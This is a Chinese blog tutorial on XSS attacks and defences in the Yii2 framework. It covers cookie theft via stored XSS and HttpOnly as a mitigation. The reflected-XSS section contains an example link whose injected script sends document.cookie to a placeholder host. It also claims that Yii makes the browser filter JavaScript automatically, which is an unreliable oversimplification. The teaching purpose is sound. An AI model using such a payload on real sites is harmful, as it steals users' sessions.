YII2框架学习 安全篇(一) XSS攻击和防范(上)

本文介绍了XSS攻击的两种类型:基于存储的XSS攻击和基于反射的XSS攻击,并详细解释了这两种攻击如何实现及如何防范。文章还讨论了如何使用YII框架来帮助抵御这些威胁。

在如今的web开发中,网络安全,信息安全应该是最重要的一环。常见的攻击主要有四类,XSS攻击、CSRF攻击、SQL注入和文件上传漏洞。在接下来的安全篇里,我会依次说明YII框架是如何应对这些攻击的。本篇要学习的就是XSS攻击和防范之存储。

XSS攻击的意思是跨站脚本攻击,XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的“缓冲区溢出攻击“,而JavaScript是新型的“ShellCode”。下面就以实际例子说明把。

1)盗取用户账号(基于存储的XSS攻击

大概说一下盗号的原理。在用户登陆网站后,网站服务器会生成相应的session存储该用户登陆信息,并返回给用户浏览器cookie存储起来。下次向服务器请求数据的时候带上cookie里面的数据,就可以行驶用户权限了。那么,黑客只要通过js注入得到了这个cookie就可以伪装为用户了。

那么,重点来了怎么防止cookies泄露呢。httponly出现了,只要在cookie添加这个属性,那么js(document.cookie)就提取不到这个信息。

2)非法转账(基于反射的XSS攻击

如果在用户的支付界面植入一段js代码,自动填写收款人和金额并提交,就能完成转账。植入js代码的方法是,让别人点击植入了js代码的链接,如

http://www.amazon.cn/search?name=<script>document.location='http://xxx/get?cookie='+document.cookie</script>

在这个前提,你就可以在别人的界面为非作歹了。还好,yii框架会让浏览器自动过滤js代码。

比较晚了,明天出下篇,继续讲反射xss还有蠕虫

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值